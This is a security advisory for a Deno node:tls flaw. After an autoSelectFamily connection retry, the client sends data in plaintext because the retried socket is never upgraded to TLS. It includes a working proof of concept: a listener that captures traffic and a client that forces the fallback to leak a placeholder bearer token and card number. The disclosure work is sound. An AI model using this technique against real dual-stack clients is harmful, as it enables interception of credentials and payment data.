Summary A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the "secureConnect" event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. Affected APIs: Applications using Deno's "node:tls" or "node:https" surface with "autoSelectFamily" enabled (the default) that wrote to the socket before the "secureConnect" event. Proof of concept "attacker.mjs" (captures whatever the client sends) import net from "node:net"; const server = net.createServer((socket) => { console.log("[attacker] client connected from", socket.remoteAddress); socket.on("data", (chunk) => { // If TLS were working, this would be an opaque ClientHello. // If the bug fires, we see the application payload in cleartext. console.log("[attacker] received", chunk.length, "bytes:"); console.log(chunk.toString("utf8")); }); }); server.listen(4444, "127.0.0.1", () => { console.log("[attacker] listening on 127.0.0.1:4444"); }); "victim.mjs" (a normal-looking TLS client) import tls from "node:tls"; const socket = tls.connect({ host: "api.example.invalid", port: 4444, autoSelectFamily: true, // Node-compat default // First address is a black hole (nothing on [::1]:4444), // so autoSelectFamily falls back to the second address. // In a real attack, the on-path attacker arranges this via // routing, DNS, or by dropping the first SYN. lookup: (_host, _opts, cb) => { cb(null, [ { address: "::1", family: 6 }, // fails -> retry { address: "127.0.0.1", family: 4 }, // attacker ]); }, rejectUnauthorized: false, }); // Application writes BEFORE secureConnect — common pattern in // Node clients that pipe a request body or send a greeting. socket.write("POST /v1/charge HTTP/1.1\r\n"); socket.write("Authorization: Bearer sk_live_SECRET_TOKEN\r\n"); socket.write("Content-Type: application/json\r\n\r\n"); socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" })); socket.on("secureConnect", () => console.log("[victim] secureConnect")); socket.on("error", (e) => console.log("[victim] error:", e.message)); In terminal 1 "deno run --allow-net attacker.mjs" In terminal 2 "deno run --allow-net victim.mjs" Expected vs. observed On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with "0x16 0x03 0x01 …"), and the victim eventually errors out because the attacker isn't speaking TLS. On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints: [attacker] received 41 bytes: POST /v1/charge HTTP/1.1 Authorization: Bearer sk_live_SECRET_TOKEN ... The bearer token, the request body, and the card number all appear in plaintext, even though the application used "tls.connect".